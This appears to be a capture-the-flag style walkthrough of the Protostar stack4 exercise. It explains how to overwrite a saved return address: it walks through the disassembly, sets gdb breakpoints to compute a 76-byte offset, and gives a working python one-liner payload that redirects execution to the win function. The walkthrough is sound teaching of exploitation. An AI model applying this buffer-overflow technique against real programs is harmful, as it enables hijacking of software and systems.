In the previous exercises we had to set a variable to a certain value, then we had to set a function pointer to an address of a certain function. In this exercise we learn to modify the execution control in another way. Every time a function call occurs, the address of the next instruction is saved onto the stack. If we overwrite this saved return value, we can control the execution flow.

Let us first determine the address of the win function. It is 0x080483f4.

Then let us determine the location of the return address.

0x08048408 :    push   ebp
0x08048409 :    mov    ebp,esp
0x0804840b :    and    esp,0xfffffff0
0x0804840e :    sub    esp,0x50
0x08048411 :    lea    eax,[esp+0x10]
0x08048415 :   mov    DWORD PTR [esp],eax
0x08048418 :   call   0x804830c 
0x0804841d :   leave
0x0804841e :   ret

Let us set two breakpoints. The first breakpoint is at the first instruction, the second one is at the point when we load the address of the buffer into the register EAX.

(gdb) b *0x08048408
(gdb) b *0x08048415

Start the application and print out the content of the registers.

(gdb) r
(gdb) info registers

The address of the stack pointer is 0xbffffc7c. Let us continue the execution and stop at the second breakpoint.

(gdb) c
(gdb) info registers

The stack pointer is 0xbffffc20, EAX is 0xbffffc30. EAX points to the start of the buffer. The distance between the start of the buffer and the return address is 76 bytes (0xbffffc7c – 0xbffffc30 = 0x4c). The solution:

python -c ‘print “A”*76 + “\xf4\x83\x04\x08″‘ | /opt/protostar/bin/stack4